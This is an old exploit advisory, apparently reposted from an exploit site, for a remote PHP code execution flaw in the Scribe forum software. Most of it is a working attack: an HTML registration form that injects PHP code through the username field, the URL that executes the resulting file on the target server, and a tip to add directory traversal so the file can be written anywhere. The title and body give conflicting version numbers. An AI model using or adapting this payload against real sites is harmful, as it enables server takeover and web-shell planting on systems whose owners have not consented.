Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:18341
HistoryNov 02, 2007 - 12:00 a.m.

Scribe <= 2.0 Remote PHP Code Execution

2007-11-0200:00:00
vulners.com
15


/_ | ____ |\___ \ / | / |/ |
| |/ \ | | (
<_/ \ \ ______ | \ \
| | | \ | |/ \ \
| | /
/ | || |
||| /\| /____ /\___ >| ||||
\/\
_____| \/ \/

Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org
Original Here: http://www.inj3ct-it.org/exploit/scribe.txt

    Scribe &lt;= 0.2 Remote PHP Code Execution

#By KiNgOfThEwOrLd


PoC:

When we register a news user, scribe make a file called [username].php located in /regged/. The file
contains:

Username: [username]

Exploit:

<form id="Register" action="http://[target]/[scribe_path]/forum.php?act=7" method="post">
<input maxlength="99999999999" name="username" type="text" value="<script
language=php>[YOUR_PHP_CODE]"><br>
<input maxlength="32" name="password" type="password" value="kingolo"><br>
<input maxlength="32" name="cpassword" type="password" value="kingolo"><br>
<input maxlength="50" name="email" type="text" value="kingolo"><br>
<input name="confirm" value="Make Shell!" type="submit">
</form>

Now, go on:

http://[target]/[scribe_path]/regged/<script language=php>[YOUR_PHP_CODE].php

And your code will be execute on target server!

Trick:

If you insert directory traversal variable in your username, u can save the file where u want ;)